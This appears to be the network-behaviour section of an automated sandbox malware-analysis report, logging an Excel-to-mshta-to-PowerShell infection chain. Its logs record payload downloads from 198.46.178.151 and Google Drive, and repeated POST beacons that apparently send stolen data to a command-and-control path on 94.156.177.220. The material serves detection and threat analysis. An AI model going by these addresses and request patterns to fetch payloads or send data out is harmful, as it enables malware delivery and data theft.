Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 149Connection: close

Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.22:49170 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.185.97:443 -> 192.168.2.22:49172 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.46:443 -> 192.168.2.22:49173 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.185.97:443 -> 192.168.2.22:49174 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151
Source: unknown	TCP traffic detected without corresponding DNS query: 198.46.178.151

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 5_2_000007FE89A14B18 URLDownloadToFileW,

5_2_000007FE89A14B18

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4FB9E199.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /oVaAOa?&territory=placid&recruit=cool&beef=adjoining&pillbox HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: acesso.runConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur HTTP/1.1Host: drive.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur&export=download HTTP/1.1Host: drive.usercontent.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /65/hb/creatednewthingsforme.hta HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.178.151Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /65/hb/creatednewthingsforme.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Range: bytes=8896-Connection: Keep-AliveHost: 198.46.178.151If-Range: "2a42f-625aa51e80fe9"
Source: global traffic	HTTP traffic detected: GET /65/seethebesthtingswithmewhichgivegreatoutputofmegood.tIF HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.178.151Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /65/hb/creatednewthingsforme.hta HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)If-Modified-Since: Wed, 30 Oct 2024 04:41:49 GMTConnection: Keep-AliveHost: 198.46.178.151If-None-Match: "2a42f-625aa51e80fe9"
Source: global traffic	HTTP traffic detected: GET /65/SMPLLLK.txt HTTP/1.1Host: 198.46.178.151Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /65/SMPLLLK.txt HTTP/1.1Host: 198.46.178.151Connection: Keep-Alive

Source: mshta.exe, 00000004.00000003.422295255.00000000033F2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.424958964.00000000033ED000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.427915936.00000000033F5000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: acesso.run
Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: unknown

HTTP traffic detected: POST /simple/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: 94.156.177.220Accept: */*Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 508F6F5CContent-Length: 176Connection: close

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:41 GMTContent-Type: text/html; charset=UTF-8Content-Length: 15Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:42 GMTContent-Type: text/html; charset=UTF-8Content-Length: 15Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:43 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:44 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:46 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:47 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:49 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:50 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:51 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:52 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:53 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:55 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:56 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:57 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:58 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:53:59 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:01 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:02 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:03 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:05 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:06 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:08 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:09 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:10 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:11 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:13 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:14 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:15 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:16 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:17 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:18 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:20 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:21 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:23 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:24 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:25 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:27 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:28 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:29 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:30 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.1Date: Wed, 30 Oct 2024 06:54:32 GMTContent-Type: text/html; charset=UTF-8Content-Length: 23Connection: closeX-Powered-By: PHP/5.4.16Status: 404 Not FoundData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
